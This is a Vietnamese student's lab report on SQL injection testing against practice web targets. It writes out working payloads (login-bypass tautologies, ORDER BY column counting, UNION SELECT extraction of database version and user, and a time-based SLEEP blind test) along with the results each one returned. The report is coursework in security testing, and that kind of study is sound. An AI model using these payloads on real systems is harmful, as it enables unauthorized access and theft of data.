**BÁO CÁO BÀI THỰC HÀNH SỐ 8**

**KIỂM THỬ LỖ HỔNG SQL INJECTION**

***Họ và tên: Dương Vĩnh Toàn***

***Yêu cầu kết quả thực hành:***

Báo cáo kết quả thực hành có tên theo định dạng HoTenSV\_MSSV\_Lab08.docx

**Câu 1*(3.5 điểm)***

Kiểm thử lỗ hổng SQL Injection trên các trang web :

|  |
| --- |
|  |

http://demo.testfire.ne

* Xác định các tham số đầu vào và cách thức chúng được gửi tới server : uid, passw, btnSubmit – POST
* Phân tích và phán đoán kiểu truy vấn **:** SELECT \* FROM users WHERE username='<uid>' AND password='<passw>'
* Phân tích và phán đoán vị trí của các giá trị tham số đầu vào được sử dụng trong câu truy vấn : Cả 2 nằm trong mệnh đề WHERE (so sánh chuỗi)
* Xác định mức độ ảnh hưởng của lỗ hổng trên mỗi giá trị đầu vào **:**

|  |
| --- |
|  |

|  |
| --- |
| 1. ' OR '1'='1' -- ➜ bypass đăng nhập. 2. ' AND 1=0 -- ➜ xác thực boolean fail. 3. ' ORDER BY 3-- ➜ tìm số cột. 4. ' UNION SELECT NULL,@@version -- ➜ in phiên bản DB. |

|  |
| --- |
|  |

**Câu 2 *(3.5 điểm)***

Kiểm thử lỗ hổng SQL Injection trên trang web http://webvul.bkcs.vn/login.php

* Xác định các tham số đầu vào và cách thức chúng được gửi tới server
* Phân tích và phán đoán kiểu truy vấn, phân tích và phán đoán vị trí của các tham số đầu vào được

SELECT \* FROM users

WHERE username = '$u' AND password = '$p'

 **Payload 1 (Tautology)**: username=' OR '1'='1' -- <br> password=x <br>→ đăng nhập thành công (ảnh).

 **Payload 2 (Blind Boolean)**: username=' AND 1=0 -- → login fail.

 **Kết luận**: lỗ hổng mức **high**, kẻ tấn công kiểm soát toàn bộ tài khoản.

**Câu 3 *(3 điểm)***

* **SELECT … FROM products WHERE category = '$cat'**

| **Bước** | **Giá trị** | **Kết quả / suy luận** |
| --- | --- | --- |
| a | 1' | Lỗi MySQL syntax → có thể khai thác |
| b | 1' OR 1=1--+ | Liệt kê toàn bộ sản phẩm |
| c | 1' ORDER BY 5--+ | Không lỗi → ≥ 5 cột |
| d | 1' UNION SELECT NULL,database(),user(),version(),NULL--+ | Hiển thị webvul root@localhost 5.7.29 |
| e | 1' AND IF(SUBSTRING(database(),1,1)='w',SLEEP(5),0)--+ | Trang chờ 5 s → Time‑based OK |

**Mức ảnh hưởng**: đọc – ghi dữ liệu, leak schema → nghiêm trọng.